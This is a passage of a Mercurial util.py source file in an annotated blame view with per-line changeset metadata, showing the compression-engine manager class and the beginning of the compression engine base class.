Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3193 def __init__(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3194 self._engines = {} |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3195 # Bundle spec human name to engine name. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3196 self._bundlenames = {} |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3197 # Internal bundle identifier to engine name. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3198 self._bundletypes = {} |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3199 # Revlog header to engine name. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3200 self._revlogheaders = {} |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3201 # Wire proto identifier to engine name. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3202 self._wiretypes = {} |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3203 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3204 def __getitem__(self, key): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3205 return self._engines[key] |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3206 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3207 def __contains__(self, key): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3208 return key in self._engines |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3209 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3210 def __iter__(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3211 return iter(self._engines.keys()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3212 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3213 def register(self, engine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3214 """Register a compression engine with the manager. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3215 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3216 The argument must be a ``compressionengine`` instance. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3217 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3218 if not isinstance(engine, compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3219 raise ValueError(_('argument must be a compressionengine')) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3220 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3221 name = engine.name() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3222 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3223 if name in self._engines: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3224 raise error.Abort(_('compression engine %s already registered') % |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3225 name) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3226 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3227 bundleinfo = engine.bundletype() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3228 if bundleinfo: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3229 bundlename, bundletype = bundleinfo |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3230 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3231 if bundlename in self._bundlenames: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3232 raise error.Abort(_('bundle name %s already registered') % |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3233 bundlename) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3234 if bundletype in self._bundletypes: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3235 raise error.Abort(_('bundle type %s already registered by %s') % |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3236 (bundletype, self._bundletypes[bundletype])) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3237 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3238 # No external facing name declared. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3239 if bundlename: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3240 self._bundlenames[bundlename] = name |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3241 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3242 self._bundletypes[bundletype] = name |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3243 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3244 wiresupport = engine.wireprotosupport() |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3245 if wiresupport: |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3246 wiretype = wiresupport.name |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3247 if wiretype in self._wiretypes: |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3248 raise error.Abort(_('wire protocol compression %s already ' |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3249 'registered by %s') % |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3250 (wiretype, self._wiretypes[wiretype])) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3251 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3252 self._wiretypes[wiretype] = name |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3253 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3254 revlogheader = engine.revlogheader() |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3255 if revlogheader and revlogheader in self._revlogheaders: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3256 raise error.Abort(_('revlog header %s already registered by %s') % |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3257 (revlogheader, self._revlogheaders[revlogheader])) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3258 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3259 if revlogheader: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3260 self._revlogheaders[revlogheader] = name |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3261 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3262 self._engines[name] = engine |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3263 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3264 @property |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3265 def supportedbundlenames(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3266 return set(self._bundlenames.keys()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3267 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3268 @property |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3269 def supportedbundletypes(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3270 return set(self._bundletypes.keys()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3271 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3272 def forbundlename(self, bundlename): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3273 """Obtain a compression engine registered to a bundle name. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3274 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3275 Will raise KeyError if the bundle type isn't registered. |
30438
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3276 |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3277 Will abort if the engine is known but not available. |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3278 """ |
30438
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3279 engine = self._engines[self._bundlenames[bundlename]] |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3280 if not engine.available(): |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3281 raise error.Abort(_('compression engine %s could not be loaded') % |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3282 engine.name()) |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3283 return engine |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3284 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3285 def forbundletype(self, bundletype): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3286 """Obtain a compression engine registered to a bundle type. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3287 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3288 Will raise KeyError if the bundle type isn't registered. |
30438
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3289 |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3290 Will abort if the engine is known but not available. |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3291 """ |
30438
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3292 engine = self._engines[self._bundletypes[bundletype]] |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3293 if not engine.available(): |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3294 raise error.Abort(_('compression engine %s could not be loaded') % |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3295 engine.name()) |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3296 return engine |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3297 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3298 def supportedwireengines(self, role, onlyavailable=True): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3299 """Obtain compression engines that support the wire protocol. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3300 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3301 Returns a list of engines in prioritized order, most desired first. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3302 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3303 If ``onlyavailable`` is set, filter out engines that can't be |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3304 loaded. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3305 """ |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3306 assert role in (SERVERROLE, CLIENTROLE) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3307 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3308 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority' |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3309 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3310 engines = [self._engines[e] for e in self._wiretypes.values()] |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3311 if onlyavailable: |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3312 engines = [e for e in engines if e.available()] |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3313 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3314 def getkey(e): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3315 # Sort first by priority, highest first. In case of tie, sort |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3316 # alphabetically. This is arbitrary, but ensures output is |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3317 # stable. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3318 w = e.wireprotosupport() |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3319 return -1 * getattr(w, attr), w.name |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3320 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3321 return list(sorted(engines, key=getkey)) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3322 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3323 def forwiretype(self, wiretype): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3324 engine = self._engines[self._wiretypes[wiretype]] |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3325 if not engine.available(): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3326 raise error.Abort(_('compression engine %s could not be loaded') % |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3327 engine.name()) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3328 return engine |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3329 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3330 def forrevlogheader(self, header): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3331 """Obtain a compression engine registered to a revlog header. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3332 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3333 Will raise KeyError if the revlog header value isn't registered. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3334 """ |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3335 return self._engines[self._revlogheaders[header]] |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3336 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3337 compengines = compressormanager() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3338 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3339 class compressionengine(object): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3340 """Base class for compression engines. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3341 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3342 Compression engines must implement the interface defined by this class. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3343 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3344 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3345 """Returns the name of the compression engine. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3346 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3347 This is the key the engine is registered under. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3348 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3349 This method must be implemented. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3350 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3351 raise NotImplementedError() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3352 |
30437
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3353 def available(self): |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3354 """Whether the compression engine is available. |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3355 |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3356 The intent of this method is to allow optional compression engines |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3357 that may not be available in all installations (such as engines relying |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3358 on C extensions that may not be present). |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3359 """ |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3360 return True |
64d7275445d0
util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30418
diff
changeset
|
3361 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3362 def bundletype(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3363 """Describes bundle identifiers for this engine. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3364 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3365 If this compression engine isn't supported for bundles, returns None. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3366 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3367 If this engine can be used for bundles, returns a 2-tuple of strings of |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3368 the user-facing "bundle spec" compression name and an internal |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3369 identifier used to denote the compression format within bundles. To |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3370 exclude the name from external usage, set the first element to ``None``. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3371 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3372 If bundle compression is supported, the class must also implement |
30359
673f0fdc1046
util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30356
diff
changeset
|
3373 ``compressstream`` and `decompressorreader``. |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3374 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3375 The docstring of this method is used in the help system to tell users |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3376 about this engine. |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3377 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3378 return None |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3379 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3380 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3381 """Declare support for this compression format on the wire protocol. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3382 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3383 If this compression engine isn't supported for compressing wire |
7283719e2bfd
